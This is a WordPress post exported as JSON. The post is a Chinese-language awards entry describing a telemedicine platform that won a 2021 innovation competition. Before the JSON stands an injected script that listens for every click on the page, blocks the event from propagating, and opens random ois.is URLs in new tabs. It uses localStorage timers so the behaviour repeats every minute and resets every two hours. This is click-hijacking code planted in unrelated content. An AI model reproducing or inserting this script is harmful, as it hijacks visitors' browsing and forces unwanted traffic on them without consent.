<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":393,"date":"2014-05-07T22:35:33","date_gmt":"2014-05-07T14:35:33","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154245\/?p=393"},"modified":"2023-03-02T21:37:16","modified_gmt":"2023-03-02T13:37:16","slug":"%e5%a5%96%e5%8a%b1%e8%ae%b0%e5%bd%95","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154245\/?p=393","title":{"rendered":"\u734e\u52f5\u8a18\u9304"},"content":{"rendered":"<hr \/>\n<p class=\"_04xlpA direction-ltr align-start para-style-body\"><span class=\"S1PPyQ\">\u65b0\u5275\u76c3-\u5275\u610f\u5275\u696d\u5275\u65b0\u7af6\u8cfd\u00a0<\/span><span class=\"S1PPyQ\">| 2021\/09-11<\/span><\/p>\n<p class=\"_04xlpA direction-ltr align-start para-style-body\"><span class=\"S1PPyQ\">\u300c\u91ab\u68df\u57ce\u5e02\u300d\u662f\u4e00\u6b3e\u9060\u8ddd\u91ab\u7642\u7684\u5a92\u5408\u5e73\u53f0\uff0c\u767c\u60f3\u6982\u5ff5\u4f86\u81ea\u65bcCovid-19\u65b0\u51a0\u75c5\u6bd2\u75ab\u60c5\u8086\u8650\u5168\u7403\uff0c\u4f7f\u5065\u5eb7\u91ab\u7642\u6210\u70ba\u6025\u9700\u767c\u5c55\u7684\u9818\u57df\uff0c\u800c\u6211\u5011\u60f3\u5c0d\u73fe\u6709\u5e73\u53f0\u6709\u63d0\u4f9b\u7684\u670d\u52d9\u627e\u5230\u4e00\u4e9b\u7a81\u7834\u9ede\uff0c\u5982\u63d0\u4f9b\u6b63\u78ba\u4fdd\u5065\u8cc7\u8a0a\u3001\u5b9a\u6642\u63d0\u9192\u3001\u7dda\u4e0a\u554f\u8a3a\u3001\u6162\u6027\u75c5\u85e5\u7269\u5305\u88f9\u5bc4\u9001\u5230\u5e9c\uff0c\u900f\u904eAPP\u8fc5\u901f\u5b9a\u4f4d\u4e8b\u767c\u5730\u9ede\u8207\u50b7\u60a3\u4f4d\u7f6e\u3001\u63a1\u884c\u90e8\u5206\u6025\u8a3a\u6025\u6551\u8996\u8a0a\u7b49\u7b49\u3002\u5176\u4e2d\u6211\u8ca0\u8cac\u884c\u92b7\u7b56\u7565\u64ec\u5b9a\u53ca\u6587\u6848\u64b0\u5beb\uff0c\u63a8\u5ee3\u7b56\u7565\u4ee5\u91ab\u7642\u7522\u696d\u5408\u4f5c\u3001\u5ee3\u544a\u6295\u653e\u3001\u793e\u7fa4\u884c\u92b7\u70ba\u4e3b\uff0c\u4e26\u8207\u57fa\u91d1\u6703\u5408\u8fa6\u885b\u6559\u8b1b\u5ea7\u4f86\u9032\u884c\u5275\u610f\u884c\u92b7\u3002\u672c\u4f01\u5283\u66f8\u65bc260\u7d44\u4e2d\u6649\u7d1a\u524d20\u5f37\uff0c\u9032\u5165\u6c7a\u8cfd\u6700\u7d42\u7372\u5f97\u300c\u512a\u52dd\u300d\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u65b0\u5275\u76c3-\u5275\u610f\u5275\u696d\u5275\u65b0\u7af6\u8cfd\u00a0| 2021\/09-11 \u300c\u91ab\u68df\u57ce\u5e02\u300d\u662f\u4e00\u6b3e\u9060\u8ddd\u91ab\u7642\u7684<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/393"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=393"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/393\/revisions"}],"predecessor-version":[{"id":953,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/393\/revisions\/953"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}